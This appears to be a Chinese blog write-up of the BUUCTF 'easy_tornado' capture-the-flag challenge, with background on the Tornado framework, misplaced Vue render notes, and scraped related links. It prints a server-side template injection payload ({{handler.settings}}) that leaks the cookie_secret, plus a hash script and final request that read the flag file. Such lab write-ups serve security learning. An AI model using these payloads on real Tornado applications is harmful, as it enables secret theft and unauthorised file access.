知识点:

Python Web 框架:Tornado

python中的一个渲染函数:render:

渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

1. render方法的实质就是生成template模板; 

2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的; 

3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容 

4. 通过这三个参数,可以生成一个完整的木模板备注:render方法可以使用JSX语法,但需要Babel plugin插件;render方法里的第三个参数可以使用函数来生成多个组件(特别是如果他们相同的话),只要生成结果是一个数组,且数组元素都是VNode即可;注意: 

render函数是有限制的,Vue.js 2.X支持,但是1.X无法使用。

Tornado框架:

Tornado龙卷风是一个开源的网络服务器框架,它是基于社交聚合网站FriendFeed的实时信息服务开发而来的。2007年由4名Google前软件工程师一起创办了FriendFeed,旨在使用户能够方便地跟踪好友在Facebook和Twitter等多个社交网站上的活动。结果两年后,Facebook宣布收购FriendFeed,交易价格约为5000万美元。而此时FriendFeed只有12名员工。据说这帮人后来又到了Google,搞出了现在的Google App Engine...

我们开发这个Web服务器的主要目的就是为了处理FriendFeed的实时功能 -- 在FriendFeed的应用里每个活动用户都会保持着一个服务器连接。

Tornado使FriendFeed使用的可扩展的非阻塞Web服务器及其相关工具的开源版本,这个Web框架看起来有些像web.py或 Google的webapp,不过为了更加有效地利用非阻塞服务器环境,Tornado这个Web框架还包含了一些相关的有用工具和优化。

区别Tornado与现代主流的Web服务器框架有着明显的区别:它使非阻塞式的服务器,速度相当快。这得益于其非阻塞的方式和对epoll的运用。Tornado每秒可以处理数以千计的连接,对于实时Web服务来说Tornado确实是一个理想的Web框架。

与Node.js相同的是,Tornado也采用的是单进程单线程异步IO的网络模型,它们都可以编写异步非阻塞的程序。但由于Node.js是Google Chrome V8引擎的JS运行环境或工具包,它属于偏底层的抽象,扩展了JS编写服务器程序的能力,所以基于Node.js会由不同的Web框架。从这个角度来看Node.js和Tornado其实并不在一个层次上。

Tornado是使用Python编写的Web服务器兼Web应用框架,与主流Web服务器框架不同的是,Tornado是异步非阻塞式服务器,得益于非阻塞式和对epoll模型的运用,Tornado是实时Web服务的一个理想框架,它非常适合开发长轮询、WebSocket和需要与每个用户建立持久连接的应用。

特点##

轻量级Web框架

异步非阻塞IO处理方式

Tornado采用的单进程单线程异步IO的网络模式,其高性能源于Tornado基于Linux的Epoll(UNIX为kqueue)的异步网络IO。

出色的抗负载能力

不依赖多进程或多线程

WSGI全栈替代产品

WSGI把应用(Application)和服务器(Server)结合起来,Tornado既可以是WSGI应用也可以是WSGI服务。

既是WebServer也是WebFramework

Tornado是基于Bret Taylor和其他人员为FrientFeed所开发的网络服务框架,当FriendFeed被Facebook收购后得以开源。不同于那些最多只能达到1w并发连接的传统网络服务器。Tornado在设计之初就考虑到了性能因素,旨在解决C10K问题,这样的设计使其成为一个拥有高性能的框架。

结构##

Web框架:

主要包括RequestHandler用于创建Web应用程序和各种支持类的子类

HTTP服务器与客户端:

主要包括HTTPServer和AsyncHTTPClient

异步网络库“

主要包括IOLoop和IOStream作为HTTP组件的构建块协程库Tornado的Web框架和HTTP服务器一起提供了完整的堆栈替代方案WSGI

题目:打开题目有三个文件

flag.txt:/flag.txt

flag in /fllllllllllllag

发现

发现flag在/fllllllllllllag文件里

welcome.txt:/welcome.txt

render

hints.txt

/hints.txt

md5(cookie_secret+md5(filename))

1

filehash=md5(cookie_secret+md5(filename))

现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

尝试/error?msg={{datetime}}

在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象。!

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings

An alias for self.application.settings.

1

handler指向的处理当前这个页面的RequestHandler对象,

RequestHandler.settings指向self.application.settings,

因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret:

/error?msg={{handler.settings}}

得到cookie_secret::

'cookie_secret': '7087d561-6986-4c57-ac5a-d019d49b90ce'

计算filehash值,python2脚本:

import hashlib

def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest() def filehash():
filename = '/fllllllllllllag'
cookie_secret = '7087d561-6986-4c57-ac5a-d019d49b90ce'
print(md5(cookie_secret+md5(filename))) if __name__ == '__main__':
filehash()

最终payload:

file?filename=/fllllllllllllag&filehash=85e75a211ff944c1fbef40372aa0eaa8

参考链接:

https://blog.csdn.net/weixin_44677409/article/details/94410580

BUUCTF-WEB-easy_tornado的更多相关文章

  1. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  2. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  3. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  4. 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  5. buuctf—web—高明的黑客

    打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...

  6. buuctf—web—Easy Calc

    启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery,     ("# ...

  7. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

  8. BUUCTF刷题记录(Web方面)

    WarmUp 首先查看源码,发现有source.php,跟进看看,发现了一堆代码 这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药. 有兴趣的可以看一下之前我做的分析,http ...

  9. BUUCTF | easy_tornado

    第一次遇到模板注入的题,赶紧记笔记,此篇相当于对大佬的做法的复现Orz,师傅太强了https://blog.csdn.net/weixin_44255856/article/details/97687 ...

  10. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

随机推荐

  1. firewalld学习-zone的使用和配置

    原文地址:http://www.excelib.com/article/290/show zone文件标签名词解释 target:目标,这个前面学生也已经给大家介绍过了,可以理解为默认行为,有四个可选 ...

  2. Service IP 原理【转】

    Service Cluster IP 是一个虚拟 IP,是由 Kubernetes 节点上的 iptables 规则管理的. 可以通过 iptables-save 命令打印出当前节点的 iptable ...

  3. R 对数变换 《回归分析与线性统计模型》page103

    BG:在box-cox变换中,当λ = 0时即为对数变换. 当所分析变量的标准差相对于均值而言比较大时,这种变换特别有用.对数据作对数变换常常起到降低数据波动性和减少不对称性的作用..这一变换也能有效 ...

  4. 021、MySQL变量的使用,在MySQL中创建存储过程,并添加变量

    #编写一个存储过程 CREATE PROCEDURE ShowDate ( ) BEGIN #变量定义 ); #变量赋值 set m_str1 = '曾经沧海难为水'; #输出当前时间 SELECT ...

  5. VS2013+HALCON13

    HALCON安装与配置(VS2013+HALCON13) 2017-06-23 16:08:25 坚强的羊脂球 阅读数 4574更多 分类专栏: HALCON   配置主要分为三部分: 1)VS调用H ...

  6. vue + canvas 图片加水印

    思路:将两张图片绘制为一张 目标:输入的文字,绘制到图片上,简单实现图片水印 效果:输入的文字1: ‘你猜猜’ + 图片2 = 图片3(不要看清除水印的按钮,本人垃圾 没实现) 选择图片 html & ...

  7. bzoj 1912: [Apio2010]patrol 巡逻

    呵呵呵呵呵呵,自己画图,大概半个小时,觉的连上边会成环(是不是该交仙人掌了??)然后求环不重合部分最大就好了, 结果写了一坨DP,最后写不下去了,再次扒了题解. 发现我真的是个sb. k==1,直接是 ...

  8. Vulkan SDK 之 Graphics Pipeline

    A graphics pipeline consists of shader stages, a pipeline layout, a render pass, and fixed-function ...

  9. Bug 佛祖镇楼

    原文链接:https://www.cnblogs.com/xdp-gacl/p/4198935.html // _ooOoo_ // o8888888o // 88" . "88 ...

  10. 二十三、JavaScript之html事件

    一.代码如下 二.效果如下 三.点击之后 <!DOCTYPE html> <html> <meta http-equiv="Content-Type" ...